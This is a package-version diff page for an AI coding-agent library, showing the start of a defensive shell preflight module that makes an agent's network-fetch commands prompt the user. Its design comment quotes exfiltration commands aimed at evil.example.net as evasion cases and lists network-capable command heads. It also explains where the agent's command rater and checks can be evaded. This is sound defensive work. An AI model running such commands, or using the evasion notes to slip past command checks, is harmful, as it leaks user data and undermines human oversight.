@gaunt-sloth/core 2.0.0-alpha.9 → 2.0.0-beta.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.gsloth.review.md +2 -0
- package/README.md +71 -20
- package/dist/config/colour.d.ts +38 -0
- package/dist/config/colour.js +36 -0
- package/dist/config/colour.js.map +1 -0
- package/dist/config/configDiscovery.d.ts +79 -0
- package/dist/config/configDiscovery.js +80 -0
- package/dist/config/configDiscovery.js.map +1 -0
- package/dist/config/defaults.d.ts +20 -20
- package/dist/config/defaults.js +10 -8
- package/dist/config/defaults.js.map +1 -1
- package/dist/config/filesystem-tools.d.ts +41 -0
- package/dist/config/filesystem-tools.js +56 -0
- package/dist/config/filesystem-tools.js.map +1 -0
- package/dist/config/loader.d.ts +171 -19
- package/dist/config/loader.js +1054 -144
- package/dist/config/loader.js.map +1 -1
- package/dist/config/mouse.d.ts +50 -0
- package/dist/config/mouse.js +44 -0
- package/dist/config/mouse.js.map +1 -0
- package/dist/config/profiles.d.ts +68 -0
- package/dist/config/profiles.js +93 -0
- package/dist/config/profiles.js.map +1 -0
- package/dist/config/providerKeys.d.ts +69 -0
- package/dist/config/providerKeys.js +69 -0
- package/dist/config/providerKeys.js.map +1 -0
- package/dist/config/schema.d.ts +2671 -138
- package/dist/config/schema.js +1361 -85
- package/dist/config/schema.js.map +1 -1
- package/dist/config/shell-policy.d.ts +899 -111
- package/dist/config/shell-policy.js +800 -70
- package/dist/config/shell-policy.js.map +1 -1
- package/dist/config/tool-descriptions.d.ts +211 -0
- package/dist/config/tool-descriptions.js +272 -0
- package/dist/config/tool-descriptions.js.map +1 -0
- package/dist/config/types.d.ts +352 -41
- package/dist/config/types.js +1 -0
- package/dist/config/types.js.map +1 -1
- package/dist/config.d.ts +35 -1
- package/dist/config.js +16 -1
- package/dist/config.js.map +1 -1
- package/dist/constants.d.ts +28 -1
- package/dist/constants.js +28 -1
- package/dist/constants.js.map +1 -1
- package/dist/core/GthAbstractAgent.d.ts +166 -11
- package/dist/core/GthAbstractAgent.js +484 -45
- package/dist/core/GthAbstractAgent.js.map +1 -1
- package/dist/core/GthAgentRunner.d.ts +543 -57
- package/dist/core/GthAgentRunner.js +1494 -140
- package/dist/core/GthAgentRunner.js.map +1 -1
- package/dist/core/GthLangChainAgent.d.ts +117 -2
- package/dist/core/GthLangChainAgent.js +602 -29
- package/dist/core/GthLangChainAgent.js.map +1 -1
- package/dist/core/approvals/annotations.d.ts +122 -0
- package/dist/core/approvals/annotations.js +137 -0
- package/dist/core/approvals/annotations.js.map +1 -0
- package/dist/core/approvals/grants.d.ts +216 -0
- package/dist/core/approvals/grants.js +469 -0
- package/dist/core/approvals/grants.js.map +1 -0
- package/dist/core/approvals/matcher.d.ts +202 -0
- package/dist/core/approvals/matcher.js +267 -0
- package/dist/core/approvals/matcher.js.map +1 -0
- package/dist/core/approvals/mcpSubjects.d.ts +40 -0
- package/dist/core/approvals/mcpSubjects.js +99 -0
- package/dist/core/approvals/mcpSubjects.js.map +1 -0
- package/dist/core/approvals/promptHeader.d.ts +28 -0
- package/dist/core/approvals/promptHeader.js +62 -0
- package/dist/core/approvals/promptHeader.js.map +1 -0
- package/dist/core/approvals/toolAnnotationSources.d.ts +105 -0
- package/dist/core/approvals/toolAnnotationSources.js +277 -0
- package/dist/core/approvals/toolAnnotationSources.js.map +1 -0
- package/dist/core/approvals/toolHost.d.ts +46 -0
- package/dist/core/approvals/toolHost.js +108 -0
- package/dist/core/approvals/toolHost.js.map +1 -0
- package/dist/core/debugCapture.d.ts +74 -0
- package/dist/core/debugCapture.js +100 -0
- package/dist/core/debugCapture.js.map +1 -0
- package/dist/core/gthLeanAgentFactory.d.ts +4 -4
- package/dist/core/gthLeanAgentFactory.js +4 -4
- package/dist/core/launchBanner.d.ts +127 -0
- package/dist/core/launchBanner.js +414 -0
- package/dist/core/launchBanner.js.map +1 -0
- package/dist/core/modelLabel.d.ts +19 -0
- package/dist/core/modelLabel.js +26 -0
- package/dist/core/modelLabel.js.map +1 -0
- package/dist/core/plainToolIndication.d.ts +15 -0
- package/dist/core/plainToolIndication.js +174 -0
- package/dist/core/plainToolIndication.js.map +1 -0
- package/dist/core/reasoningBlocks.d.ts +65 -0
- package/dist/core/reasoningBlocks.js +103 -0
- package/dist/core/reasoningBlocks.js.map +1 -0
- package/dist/core/refusal.d.ts +53 -0
- package/dist/core/refusal.js +133 -0
- package/dist/core/refusal.js.map +1 -0
- package/dist/core/runHeader.d.ts +38 -0
- package/dist/core/runHeader.js +42 -0
- package/dist/core/runHeader.js.map +1 -0
- package/dist/core/runStats.d.ts +14 -3
- package/dist/core/runStats.js +48 -3
- package/dist/core/runStats.js.map +1 -1
- package/dist/core/shell/ShellCommandFailedError.d.ts +3 -4
- package/dist/core/shell/ShellCommandFailedError.js +3 -4
- package/dist/core/shell/ShellCommandFailedError.js.map +1 -1
- package/dist/core/shell/abstention.d.ts +88 -0
- package/dist/core/shell/abstention.js +184 -0
- package/dist/core/shell/abstention.js.map +1 -0
- package/dist/core/shell/approvalCapture.d.ts +271 -0
- package/dist/core/shell/approvalCapture.js +108 -0
- package/dist/core/shell/approvalCapture.js.map +1 -0
- package/dist/core/shell/approvalStop.d.ts +123 -0
- package/dist/core/shell/approvalStop.js +269 -0
- package/dist/core/shell/approvalStop.js.map +1 -0
- package/dist/core/shell/arity.d.ts +6 -0
- package/dist/core/shell/arity.js +20 -6
- package/dist/core/shell/arity.js.map +1 -1
- package/dist/core/shell/denylist.d.ts +11 -0
- package/dist/core/shell/denylist.js +37 -0
- package/dist/core/shell/denylist.js.map +1 -0
- package/dist/core/shell/escalationSeverity.d.ts +141 -0
- package/dist/core/shell/escalationSeverity.js +89 -0
- package/dist/core/shell/escalationSeverity.js.map +1 -0
- package/dist/core/shell/framing.d.ts +190 -0
- package/dist/core/shell/framing.js +633 -0
- package/dist/core/shell/framing.js.map +1 -0
- package/dist/core/shell/hardline.d.ts +103 -0
- package/dist/core/shell/hardline.js +780 -0
- package/dist/core/shell/hardline.js.map +1 -0
- package/dist/core/shell/negotiation.d.ts +328 -0
- package/dist/core/shell/negotiation.js +488 -0
- package/dist/core/shell/negotiation.js.map +1 -0
- package/dist/core/shell/normalize.d.ts +44 -4
- package/dist/core/shell/normalize.js +61 -7
- package/dist/core/shell/normalize.js.map +1 -1
- package/dist/core/shell/openWorld.d.ts +263 -0
- package/dist/core/shell/openWorld.js +1188 -0
- package/dist/core/shell/openWorld.js.map +1 -0
- package/dist/core/shell/rater.d.ts +873 -0
- package/dist/core/shell/rater.js +1454 -0
- package/dist/core/shell/rater.js.map +1 -0
- package/dist/core/shell/raterModel.d.ts +41 -0
- package/dist/core/shell/raterModel.js +51 -0
- package/dist/core/shell/raterModel.js.map +1 -0
- package/dist/core/shell/raterVocabulary.d.ts +121 -0
- package/dist/core/shell/raterVocabulary.js +116 -0
- package/dist/core/shell/raterVocabulary.js.map +1 -0
- package/dist/core/shell/rejection.d.ts +69 -0
- package/dist/core/shell/rejection.js +38 -0
- package/dist/core/shell/rejection.js.map +1 -0
- package/dist/core/toolCallRepair/grammar.d.ts +41 -0
- package/dist/core/toolCallRepair/grammar.js +116 -0
- package/dist/core/toolCallRepair/grammar.js.map +1 -0
- package/dist/core/toolCallRepair/index.d.ts +2 -0
- package/dist/core/toolCallRepair/index.js +7 -0
- package/dist/core/toolCallRepair/index.js.map +1 -0
- package/dist/core/toolCallRepair/payload.d.ts +36 -0
- package/dist/core/toolCallRepair/payload.js +341 -0
- package/dist/core/toolCallRepair/payload.js.map +1 -0
- package/dist/core/toolCallRepair/promote.d.ts +45 -0
- package/dist/core/toolCallRepair/promote.js +90 -0
- package/dist/core/toolCallRepair/promote.js.map +1 -0
- package/dist/core/toolDisplay.d.ts +123 -0
- package/dist/core/toolDisplay.js +451 -0
- package/dist/core/toolDisplay.js.map +1 -0
- package/dist/core/toolOutputChannel.d.ts +95 -0
- package/dist/core/toolOutputChannel.js +165 -0
- package/dist/core/toolOutputChannel.js.map +1 -0
- package/dist/core/types.d.ts +349 -16
- package/dist/core/types.js.map +1 -1
- package/dist/history/historyFormat.d.ts +12 -3
- package/dist/history/historyFormat.js +50 -8
- package/dist/history/historyFormat.js.map +1 -1
- package/dist/history/historyStore.d.ts +77 -0
- package/dist/history/historyStore.js +173 -6
- package/dist/history/historyStore.js.map +1 -1
- package/dist/history/recordSession.d.ts +10 -1
- package/dist/history/recordSession.js +27 -0
- package/dist/history/recordSession.js.map +1 -1
- package/dist/providers/anthropic.js +12 -0
- package/dist/providers/anthropic.js.map +1 -1
- package/dist/providers/configurationPassthrough.d.ts +107 -0
- package/dist/providers/configurationPassthrough.js +148 -0
- package/dist/providers/configurationPassthrough.js.map +1 -0
- package/dist/providers/geminiSchemaSanitizer.d.ts +55 -0
- package/dist/providers/geminiSchemaSanitizer.js +347 -0
- package/dist/providers/geminiSchemaSanitizer.js.map +1 -0
- package/dist/providers/geminiThinking.d.ts +60 -0
- package/dist/providers/geminiThinking.js +92 -0
- package/dist/providers/geminiThinking.js.map +1 -0
- package/dist/providers/google-genai.js +18 -1
- package/dist/providers/google-genai.js.map +1 -1
- package/dist/providers/groq.js +12 -0
- package/dist/providers/groq.js.map +1 -1
- package/dist/providers/huggingface.d.ts +25 -0
- package/dist/providers/huggingface.js +69 -0
- package/dist/providers/huggingface.js.map +1 -0
- package/dist/providers/modelCatalog.d.ts +109 -0
- package/dist/providers/modelCatalog.js +245 -0
- package/dist/providers/modelCatalog.js.map +1 -0
- package/dist/providers/modelDiscovery.d.ts +99 -5
- package/dist/providers/modelDiscovery.js +191 -35
- package/dist/providers/modelDiscovery.js.map +1 -1
- package/dist/providers/ollama.d.ts +18 -4
- package/dist/providers/ollama.js +67 -37
- package/dist/providers/ollama.js.map +1 -1
- package/dist/providers/openai.js +34 -0
- package/dist/providers/openai.js.map +1 -1
- package/dist/providers/openrouter.d.ts +26 -4
- package/dist/providers/openrouter.js +83 -26
- package/dist/providers/openrouter.js.map +1 -1
- package/dist/providers/vertexai.js +19 -1
- package/dist/providers/vertexai.js.map +1 -1
- package/dist/providers/xai.js +20 -0
- package/dist/providers/xai.js.map +1 -1
- package/dist/runtime/askStructured.d.ts +105 -0
- package/dist/runtime/askStructured.js +120 -0
- package/dist/runtime/askStructured.js.map +1 -0
- package/dist/runtime/conversation.d.ts +64 -0
- package/dist/runtime/conversation.js +171 -0
- package/dist/runtime/conversation.js.map +1 -0
- package/dist/runtime/singleShot.d.ts +37 -6
- package/dist/runtime/singleShot.js +113 -67
- package/dist/runtime/singleShot.js.map +1 -1
- package/dist/runtime/structuredOutput.d.ts +104 -0
- package/dist/runtime/structuredOutput.js +393 -0
- package/dist/runtime/structuredOutput.js.map +1 -0
- package/dist/utils/ProgressIndicator.d.ts +21 -0
- package/dist/utils/ProgressIndicator.js +30 -3
- package/dist/utils/ProgressIndicator.js.map +1 -1
- package/dist/utils/aiignoreUtils.js.map +1 -1
- package/dist/utils/binaryOutputUtils.js.map +1 -1
- package/dist/utils/consoleUtils.d.ts +95 -0
- package/dist/utils/consoleUtils.js +112 -2
- package/dist/utils/consoleUtils.js.map +1 -1
- package/dist/utils/crashHandler.d.ts +87 -0
- package/dist/utils/crashHandler.js +128 -0
- package/dist/utils/crashHandler.js.map +1 -0
- package/dist/utils/debugDump.d.ts +134 -0
- package/dist/utils/debugDump.js +381 -0
- package/dist/utils/debugDump.js.map +1 -0
- package/dist/utils/debugUtils.d.ts +13 -4
- package/dist/utils/debugUtils.js +36 -13
- package/dist/utils/debugUtils.js.map +1 -1
- package/dist/utils/displayWidth.d.ts +53 -0
- package/dist/utils/displayWidth.js +195 -0
- package/dist/utils/displayWidth.js.map +1 -0
- package/dist/utils/fileUtils.js.map +1 -1
- package/dist/utils/globalConfigUtils.d.ts +14 -2
- package/dist/utils/globalConfigUtils.js +22 -4
- package/dist/utils/globalConfigUtils.js.map +1 -1
- package/dist/utils/llmUtils.d.ts +39 -8
- package/dist/utils/llmUtils.js +76 -8
- package/dist/utils/llmUtils.js.map +1 -1
- package/dist/utils/redactSecrets.d.ts +63 -0
- package/dist/utils/redactSecrets.js +286 -0
- package/dist/utils/redactSecrets.js.map +1 -0
- package/dist/utils/systemPromptNotes.d.ts +222 -0
- package/dist/utils/systemPromptNotes.js +338 -0
- package/dist/utils/systemPromptNotes.js.map +1 -0
- package/dist/utils/systemUtils.d.ts +18 -1
- package/dist/utils/systemUtils.js +38 -3
- package/dist/utils/systemUtils.js.map +1 -1
- package/dist/utils/toolMatching.d.ts +30 -0
- package/dist/utils/toolMatching.js +44 -0
- package/dist/utils/toolMatching.js.map +1 -0
- package/dist/utils/untrustedText.d.ts +86 -0
- package/dist/utils/untrustedText.js +101 -0
- package/dist/utils/untrustedText.js.map +1 -0
- package/package.json +21 -7
- package/schema/gsloth-config.schema.json +1921 -326
- package/dist/core/shell/allowlist.d.ts +0 -75
- package/dist/core/shell/allowlist.js +0 -187
- package/dist/core/shell/allowlist.js.map +0 -1
- package/dist/core/shell/judge.d.ts +0 -161
- package/dist/core/shell/judge.js +0 -261
- package/dist/core/shell/judge.js.map +0 -1
|
@@ -0,0 +1,1188 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @module core/shell/openWorld
|
|
3
|
+
*
|
|
4
|
+
* EXT-61 (spec §4.6) — the **open-world preflight**: a deterministic, model-free check for a
|
|
5
|
+
* **host literal in a fetch/transfer position**. A command that carries one is floored at
|
|
6
|
+
* `destructive` before the rater is ever called ({@link import('./rater.js').mapVerdictToAction}),
|
|
7
|
+
* so it is always asked about and can never be auto-approved.
|
|
8
|
+
*
|
|
9
|
+
* ## Why this is not a trust judgement, and must never become one
|
|
10
|
+
*
|
|
11
|
+
* §4.1.1(4) asks the rater to tell `registry.npmjs.org` from `registry.npmjs.ag`. **Both a cheap
|
|
12
|
+
* model and a working developer were measured failing exactly that** — the developer flagged the
|
|
13
|
+
* *genuine* registry as destructive, i.e. did not discriminate hostnames in either direction. This
|
|
14
|
+
* preflight does not answer that question, it **deletes** it: both hostnames floor, both are asked
|
|
15
|
+
* about, and no misreading of a hostname can produce an auto-approve.
|
|
16
|
+
*
|
|
17
|
+
* It therefore needs **no list of good hosts**, and that is precisely what makes it immune to the
|
|
18
|
+
* attack it defends against — there is nothing to spoof into. If host trust is ever wanted it MUST
|
|
19
|
+
* be a deterministic exact-match list in code (§4.1.1), never a model call. The user-facing escape
|
|
20
|
+
* hatch already exists and is `approvals.allow` (§3), which is consulted *before* the rater and
|
|
21
|
+
* therefore before this.
|
|
22
|
+
*
|
|
23
|
+
* ## THE ERROR COST IS INVERTED RELATIVE TO THE §8 HARDLINE — read this before editing
|
|
24
|
+
*
|
|
25
|
+
* The hardline **refuses**, unappealably, under every rung including `bypass`, so a false positive
|
|
26
|
+
* there is unrecoverable and EXT-60 correctly narrowed its patterns until they were gone, accepting
|
|
27
|
+
* misses. **This preflight only RAISES.** It floors at `destructive`, which means the user is
|
|
28
|
+
* *asked*. So:
|
|
29
|
+
*
|
|
30
|
+
* - a **false positive costs one prompt** — annoying, recoverable, visible;
|
|
31
|
+
* - an **evasion costs the whole point of the node**, because the rater then decides alone on a host
|
|
32
|
+
* literal, which is the discrimination both a cheap model and a working developer were measured
|
|
33
|
+
* failing.
|
|
34
|
+
*
|
|
35
|
+
* **So this layer errs toward OVER-matching.** That is the opposite of the hardline's calculus, and
|
|
36
|
+
* it is why the shapes below prefer "any operand is a listed git subcommand" over enumerating git's
|
|
37
|
+
* arg-taking global flags: an enumeration closes today's hole and reopens it for the next flag added
|
|
38
|
+
* upstream. The one hard limit is unchanged and non-negotiable: **never fire on the mere presence of
|
|
39
|
+
* a URL anywhere in the string**, because `git commit -m "closes https://…"` must stay silent.
|
|
40
|
+
*
|
|
41
|
+
* ## TWO CONSUMERS, TWO INPUT SETS — read this before merging them back together
|
|
42
|
+
*
|
|
43
|
+
* This module answers the host question for **two** callers whose error costs differ, so it has two
|
|
44
|
+
* entry points and they are deliberately not the same function:
|
|
45
|
+
*
|
|
46
|
+
* - {@link findOpenWorldHostLiterals} — **the floor**. Its finding rewrites a `safe` verdict to
|
|
47
|
+
* `destructive` with no model in the loop, so it fires only where the parser resolved the whole
|
|
48
|
+
* command. "The parser could not resolve this" is a fact about the checker, not a detection about
|
|
49
|
+
* the command, and this layer floors only what is deterministically known.
|
|
50
|
+
* - {@link findComposedOpenWorld} — **the note**. It reads the parts of a command the parser could
|
|
51
|
+
* NOT resolve as a whole, and its finding is handed to the rater as context. It changes no
|
|
52
|
+
* outcome by itself.
|
|
53
|
+
*
|
|
54
|
+
* **The error-cost regime is the third distinct one in this codebase, and it is the widest — about
|
|
55
|
+
* WHICH HOSTS ARE NAMED.** The §8 hardline REFUSES unappealably, so it must be the narrowest. This
|
|
56
|
+
* module's floor RAISES a prompt, so it over-matches (below). Naming a host in the note only
|
|
57
|
+
* INFORMS THE MODEL: a host named that turns out not to be contacted costs one sentence of
|
|
58
|
+
* attention and no interruption at all. So do not "fix" a note false positive by narrowing the host
|
|
59
|
+
* extractor; that trades a free cost for a silent one.
|
|
60
|
+
*
|
|
61
|
+
* **That licence covers which hosts are named. It does not cover WHAT THE NOTE SAYS THEY DO.** A
|
|
62
|
+
* flow sentence asserts a mechanism — that fetched bytes are executed, that a file's contents are
|
|
63
|
+
* sent — and the rater cannot check that against a shell; it can only believe it. A mechanism that
|
|
64
|
+
* is false on an ordinary command is this node's own named failure mode arriving one layer in: an
|
|
65
|
+
* escalation laundered through the model instead of the parser, unfalsifiable because a note said
|
|
66
|
+
* it. So each flow arm fires only where its claim is **true of the program named**, and everything
|
|
67
|
+
* else falls through to the flowless sentence — which still names the hosts and says outright that
|
|
68
|
+
* the flow is not known. Saying less is not a loss of assistance; asserting a false mechanism is a
|
|
69
|
+
* loss of the layer.
|
|
70
|
+
*
|
|
71
|
+
* **And a flow sentence names EVERY host of the part it describes**, for the reason
|
|
72
|
+
* {@link findOpenWorldHostLiterals} returns every match rather than the first: the first is the
|
|
73
|
+
* proxy, and a sentence that names the reassuring host while hiding the other is worse than no
|
|
74
|
+
* sentence.
|
|
75
|
+
*
|
|
76
|
+
* ## The shape of the matcher
|
|
77
|
+
*
|
|
78
|
+
* Ported from the measured prototype (`project-takahe _spikes/open-world-preflight/`).
|
|
79
|
+
*
|
|
80
|
+
* 1. **Decline on anything unclassifiable** — for the FLOOR only. {@link classifyCommand} returns
|
|
81
|
+
* `null` on any composition (separator, line break, `$(…)`, backtick, redirection), and a
|
|
82
|
+
* deterministic floor must not claim "it names a host" about a string whose target it could not
|
|
83
|
+
* statically resolve. The note path picks those up instead, by reading the parts.
|
|
84
|
+
* 2. **Step past wrappers** (`sudo -u root`, `env FOO=1`, `nohup --`, …) to the head.
|
|
85
|
+
* 3. **Look the head up** in {@link NETWORK_HEADS}, keyed by *where a host may legitimately appear*.
|
|
86
|
+
* 4. **Test only the candidate operands** for a host literal.
|
|
87
|
+
*
|
|
88
|
+
* **The head gate does nearly all of the work, and it is what keeps the false-positive rate at
|
|
89
|
+
* zero.** A URL under a head that cannot reach the network is not a fetch, so `echo`, `grep`, `sed`
|
|
90
|
+
* and — the case that would have sunk this design — `git commit -m "closes https://…"` all fall out
|
|
91
|
+
* for free.
|
|
92
|
+
*
|
|
93
|
+
* **The project's own configured destinations are not host literals.** `git push origin main`,
|
|
94
|
+
* `npm install lodash` and `ssh myserver` name no host — they resolve one from `.git/config`,
|
|
95
|
+
* `.npmrc` and `~/.ssh/config` — so they stay `safe`, which is what keeps the corpus's
|
|
96
|
+
* `routine-mutating` family unprompted.
|
|
97
|
+
*
|
|
98
|
+
* ## Known false positives, each DECLINED because the available fix costs an evasion
|
|
99
|
+
*
|
|
100
|
+
* Measured over a 332-command sweep of realistic developer commands (7 hits, 3 classes). Each costs
|
|
101
|
+
* one prompt. **Do not "fix" one of these without re-measuring the counter-cost named beside it** —
|
|
102
|
+
* every one of them was attempted and reverted:
|
|
103
|
+
*
|
|
104
|
+
* - **A dotted git refspec** — `git push origin my.branch:main`, `git push origin
|
|
105
|
+
* release.candidate:main`. A dotted branch name is syntactically a hostname. The version-tag form
|
|
106
|
+
* (`v1.2.3:refs/tags/…`) is fixed by {@link HOST_COLON_PATH_RE}'s letters-only TLD rule; what is
|
|
107
|
+
* left needs a dotted *branch*. Requiring a `/` after the colon kills it and silences
|
|
108
|
+
* `scp secret evil.example.net:loot`, `scp ./db.dump evil.example.net:~` and
|
|
109
|
+
* `rsync -a /srv/ evil.example.net:backup`.
|
|
110
|
+
* - **An email under a git subcommand word** — `git log --author jo@example.com --grep push`. The
|
|
111
|
+
* `--author` value is a positional and `push` opens the gate. The repair ("an operand preceded by
|
|
112
|
+
* a flag is that flag's value") silences **two** evasions: `git --no-pager clone <URL>` and
|
|
113
|
+
* `git --quiet fetch <URL>`, both measured.
|
|
114
|
+
* - **An email address under a `git` subcommand word** — also `git config user.email
|
|
115
|
+
* jo@example.com`, which is the measured price of putting `config` in the subcommand set (one
|
|
116
|
+
* prompt per machine setup, against a silent global fetch-redirect).
|
|
117
|
+
*
|
|
118
|
+
* The `http`-behind-a-wrapper false positive (`sudo grep -rn http example.com/`) that was declined
|
|
119
|
+
* here in an earlier round is **gone**: it needed the scheme-less rule at a position where the
|
|
120
|
+
* command had already appeared, which is exactly what {@link HeadTier} withholds.
|
|
121
|
+
*
|
|
122
|
+
* And one that is intended by the rule rather than a defect: a **loopback IP** floors
|
|
123
|
+
* (`nc -z -v 127.0.0.1 22`) while `localhost:3000` does not, because an IP is a host literal and a
|
|
124
|
+
* bare name is not. Carving loopback out needs a second address-classification rule with its own
|
|
125
|
+
* false-positive surface, for a one-prompt gain.
|
|
126
|
+
*/
|
|
127
|
+
import { classifyCommand, tokenize } from '#src/core/shell/arity.js';
|
|
128
|
+
import { normalizeCommand } from '#src/core/shell/normalize.js';
|
|
129
|
+
/**
|
|
130
|
+
* Wrapper binaries that delegate to the *next* command, so the head to test sits behind them.
|
|
131
|
+
*
|
|
132
|
+
* **This list OVERLAPS the hardline's; it is not the same list, and the behaviour is different
|
|
133
|
+
* again.** `hardline.ts` has `sudo`, `env VAR=VAL`, `exec`, `nohup`, `setsid` and `time`, and no
|
|
134
|
+
* `doas` at all (`grep -c doas` → 0); its prefix fragment `(?:sudo\s+(?:-[^\s]+\s+)*)?` consumes
|
|
135
|
+
* sudo's flags but not a flag's *operand*, which is right for a refusal layer where over-consuming
|
|
136
|
+
* would refuse more.
|
|
137
|
+
*
|
|
138
|
+
* Here the cost runs the other way (see the module docblock), so wrapper handling does **not** try to
|
|
139
|
+
* find "the" head at all — it treats every position after a wrapper as a possible head and unions
|
|
140
|
+
* the results ({@link headCandidates}). Two earlier revisions of this comment claimed a parity that
|
|
141
|
+
* did not hold, and each time a real evasion hid behind the claim: first `sudo -u root curl https://…`
|
|
142
|
+
* (the loop stopped at the flag), then `sudo -u git curl https://…` (the scan latched onto the
|
|
143
|
+
* USERNAME `git`, which is a head name, and inherited its subcommand rule). **A comment asserting a
|
|
144
|
+
* property this code does not have is how both of those became inheritable**, so this one states the
|
|
145
|
+
* mechanism instead of a comparison.
|
|
146
|
+
*/
|
|
147
|
+
const WRAPPERS = new Set([
|
|
148
|
+
'sudo',
|
|
149
|
+
'doas',
|
|
150
|
+
'exec',
|
|
151
|
+
'nohup',
|
|
152
|
+
'setsid',
|
|
153
|
+
'time',
|
|
154
|
+
'env',
|
|
155
|
+
]);
|
|
156
|
+
/**
|
|
157
|
+
* Package-manager subcommands whose `--` hands the rest of the argv to a SCRIPT rather than to the
|
|
158
|
+
* package manager. Deliberately just these two: for every other subcommand `--` is an ordinary
|
|
159
|
+
* end-of-options marker and the operands after it are still the package manager's own.
|
|
160
|
+
*/
|
|
161
|
+
const RUN_SUBCOMMANDS = new Set(['run', 'run-script']);
|
|
162
|
+
/** A leading `VAR=value` assignment, which precedes the real head exactly like a wrapper does. */
|
|
163
|
+
const ENV_ASSIGNMENT_RE = /^[A-Za-z_][A-Za-z0-9_]*=/;
|
|
164
|
+
/**
|
|
165
|
+
* The network-capable heads, and where a host may appear under each.
|
|
166
|
+
*
|
|
167
|
+
* **This table is INCOMPLETE BY CONSTRUCTION and that is a design decision, not an oversight** —
|
|
168
|
+
* `svn`, `hg`, `mvn`, `gradle`, `kubectl`, `docker`, `gh`, `deno`, `go`, `cargo`, `helm`, `brew` and
|
|
169
|
+
* `terraform` all reach the network and are deliberately absent. Adding one is cheap and safe (a
|
|
170
|
+
* miss becomes a prompt); what is *not* safe is widening a head's `HostPosition` so that an ordinary
|
|
171
|
+
* LOCAL operand starts reading as a fetch target — that is the one edit that can put a filename in
|
|
172
|
+
* front of the user as a "host". Weigh any addition against the must-NOT-fire probes in
|
|
173
|
+
* `spec/shellOpenWorld.spec.ts`, not against the corpus — the corpus has almost no coverage of that
|
|
174
|
+
* direction (see that spec's docblock).
|
|
175
|
+
*
|
|
176
|
+
* A `Map`, not an object literal, on purpose: the head comes from an attacker-influenceable command
|
|
177
|
+
* string, and `NET['constructor']` on a plain object resolves through the prototype chain to
|
|
178
|
+
* something that is not an entry of this table. The same hazard is documented at
|
|
179
|
+
* {@link import('./rater.js').isBelowDestructiveFloor}.
|
|
180
|
+
*/
|
|
181
|
+
const NETWORK_HEADS = new Map([
|
|
182
|
+
// Fetchers / transfer agents whose operands are ENDPOINTS, not local files: a scheme-less
|
|
183
|
+
// `example.com/install.sh` is a fetch here and nothing else.
|
|
184
|
+
['curl', { kind: 'all', bareHost: true }],
|
|
185
|
+
['wget', { kind: 'all', bareHost: true }],
|
|
186
|
+
['aria2c', { kind: 'all', bareHost: true }],
|
|
187
|
+
['http', { kind: 'all', bareHost: true }], // httpie
|
|
188
|
+
['httpie', { kind: 'all', bareHost: true }],
|
|
189
|
+
['xh', { kind: 'all', bareHost: true }],
|
|
190
|
+
['nc', { kind: 'all', bareHost: true }],
|
|
191
|
+
['ncat', { kind: 'all', bareHost: true }],
|
|
192
|
+
['netcat', { kind: 'all', bareHost: true }],
|
|
193
|
+
['telnet', { kind: 'all', bareHost: true }],
|
|
194
|
+
['ssh', { kind: 'all', bareHost: true }],
|
|
195
|
+
['sftp', { kind: 'all', bareHost: true }],
|
|
196
|
+
['ftp', { kind: 'all', bareHost: true }],
|
|
197
|
+
// Transfer agents that take LOCAL paths beside remote ones — no bare-host rule, or `./my.dir/x`
|
|
198
|
+
// would be offered to the user as a hostname.
|
|
199
|
+
['scp', { kind: 'all' }],
|
|
200
|
+
['rsync', { kind: 'all' }],
|
|
201
|
+
// Cloud CLIs — a bucket/object URI is a host literal (`s3://…`, `gs://…`).
|
|
202
|
+
['aws', { kind: 'all' }],
|
|
203
|
+
['gsutil', { kind: 'all' }],
|
|
204
|
+
['az', { kind: 'all' }],
|
|
205
|
+
// `git` only where a URL stands in for a configured remote. `git commit -m "…https://…"` and
|
|
206
|
+
// `git tag -a v1 -m "see https://…"` are NOT fetches, and prompting on them would be a worse
|
|
207
|
+
// annoyance regression than the one this preflight was built to avoid.
|
|
208
|
+
//
|
|
209
|
+
// **`config` is in this set deliberately, and it widens the design — do not "simplify" it out.**
|
|
210
|
+
// The rest of this module rests on *a URL under a head that cannot reach the network is not a
|
|
211
|
+
// fetch*, which is true of `git commit -m`, where the URL is prose. A config write is not prose:
|
|
212
|
+
// it is a STORED FETCH TARGET, which is the same thing `--registry` is, and
|
|
213
|
+
// `npm config set registry https://…` has always floored here. Without it git contradicted
|
|
214
|
+
// itself — `git remote set-url origin <URL>` floored while `git config remote.origin.url <URL>`,
|
|
215
|
+
// the identical write to the identical file, was auto-approved — and, worse,
|
|
216
|
+
// `git config --global url.https://evil/.insteadOf https://github.com/` silently redirected EVERY
|
|
217
|
+
// FUTURE GITHUB FETCH ON THE MACHINE, persistently, which is strictly worse than the one-shot
|
|
218
|
+
// fetch that did floor. Measured price: two false positives, both `git config user.email
|
|
219
|
+
// <address>`, i.e. one prompt per machine setup. `git config user.name`, `--list`, `--get`,
|
|
220
|
+
// `--unset`, `core.editor` and `alias.*` carry no host literal and stay silent.
|
|
221
|
+
[
|
|
222
|
+
'git',
|
|
223
|
+
{
|
|
224
|
+
kind: 'subcommand',
|
|
225
|
+
subcommands: new Set([
|
|
226
|
+
'clone',
|
|
227
|
+
'push',
|
|
228
|
+
'pull',
|
|
229
|
+
'fetch',
|
|
230
|
+
'remote',
|
|
231
|
+
'submodule',
|
|
232
|
+
'ls-remote',
|
|
233
|
+
'archive',
|
|
234
|
+
'config',
|
|
235
|
+
]),
|
|
236
|
+
},
|
|
237
|
+
],
|
|
238
|
+
// Package managers. The configured default registry in `.npmrc` is not a host literal, so
|
|
239
|
+
// `npm install lodash` stays unprompted — but an `--registry`/`--index-url` override is, and so is
|
|
240
|
+
// a URL in the install-target position (`npm install https://…/pkg.tgz` fetches remote code and
|
|
241
|
+
// then runs its lifecycle scripts).
|
|
242
|
+
['npm', { kind: 'flag', flags: new Set(['--registry']) }],
|
|
243
|
+
['pnpm', { kind: 'flag', flags: new Set(['--registry']) }],
|
|
244
|
+
['yarn', { kind: 'flag', flags: new Set(['--registry']) }],
|
|
245
|
+
['npx', { kind: 'flag', flags: new Set(['--registry']) }],
|
|
246
|
+
['pip', { kind: 'flag', flags: new Set(['--index-url', '--extra-index-url', '-i']) }],
|
|
247
|
+
['pip3', { kind: 'flag', flags: new Set(['--index-url', '--extra-index-url', '-i']) }],
|
|
248
|
+
]);
|
|
249
|
+
/** `scheme://…` — `https`, `http`, `ftp`, `s3`, `gs`, `git+ssh`, anything. */
|
|
250
|
+
